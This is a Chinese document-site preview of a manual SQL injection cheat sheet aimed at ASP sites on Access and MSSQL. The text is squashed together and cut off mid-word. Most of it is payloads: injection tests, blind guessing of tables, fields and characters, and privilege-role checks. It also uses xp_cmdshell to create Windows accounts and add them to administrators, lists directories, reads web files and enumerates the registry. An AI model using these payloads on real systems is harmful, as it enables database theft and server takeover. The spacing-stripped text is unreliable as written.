SQL手工注入大全.doc

《SQL手工注入大全.doc》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、SQL手工注入大全------------------------------------------------------------------比方说在查询id是50的数据时，如果用户传近来的参数是50and1=1，如果没有设置过滤的话，可以直接查出来，SQL注入一般在ASP程序中遇到最多，看看下面的1.判断是否有注入;and1=1;and1=22.初步判断是否是mssql;anduser>03.判断数据库系统;and(selectcount(*)fromsysobjects)>0mssql;and(selectcount(*)frommsysobjects

2、)>0access4.注入参数是字符'and[查询条件]and''='5.搜索时没过滤参数的'and[查询条件]and'%25'='6.猜数据库;and(selectCount(*)from[数据库名])>07.猜字段;and(selectCount(字段名)from数据库名)>08.猜字段中记录长度;and(selecttop1len(字段名)from数据库名)>09.(1)猜字段的ascii值（access）;and(selecttop1asc(mid(字段名,1,1))from数据库名)>0(2)猜字段的ascii值（mssql）;and(selecttop

3、1unicode(substring(字段名,1,1))from数据库名)>010.测试权限结构（mssql）;and1=(selectIS_SRVROLEMEMBER('sysadmin'));--;and1=(selectIS_SRVROLEMEMBER('serveradmin'));--;and1=(selectIS_SRVROLEMEMBER('setupadmin'));--;and1=(selectIS_SRVROLEMEMBER('securityadmin'));--;and1=(selectIS_SRVROLEMEMBER('diskadmin

4、'));--;and1=(selectIS_SRVROLEMEMBER('bulkadmin'));--;and1=(selectIS_MEMBER('db_owner'));--11.添加mssql和系统的帐户;execmaster.dbo.sp_addloginusername;--;execmaster.dbo.sp_passwordnull,username,password;--;execmaster.dbo.sp_addsrvrolemembersysadminusername;--;execmaster.dbo.xp_cmdshell'netuser

5、usernamepassword/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add';--;execmaster.dbo.xp_cmdshell'netuserusernamepassword/add';--;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorsusername/add';--12.(1)遍历目录;createtabledirs(pathsvarchar(100),idint);insertdirse

6、xecmaster.dbo.xp_dirtree'c:';and(selecttop1pathsfromdirs)>0;and(selecttop1pathsfromdirswherepathsnotin('上步得到的paths'))>)(2)遍历目录;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--;inserttempexecmaster.dbo.xp_availablemedia;--获得当前所有驱动器;insertintote

7、mp(id)execmaster.dbo.xp_subdirs'c:';--获得子目录列表;insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:';--获得所有子目录的目录树结构;insertintotemp(id)execmaster.dbo.xp_cmdshell'typec:webindex.asp';--查看文件的内容13.mssql中的存储过程xp_regenumvalues注册表根键,子键;execxp_regenumvalues'HKEY_LOCAL_MACHINE','SOFTWAREMi

8、croso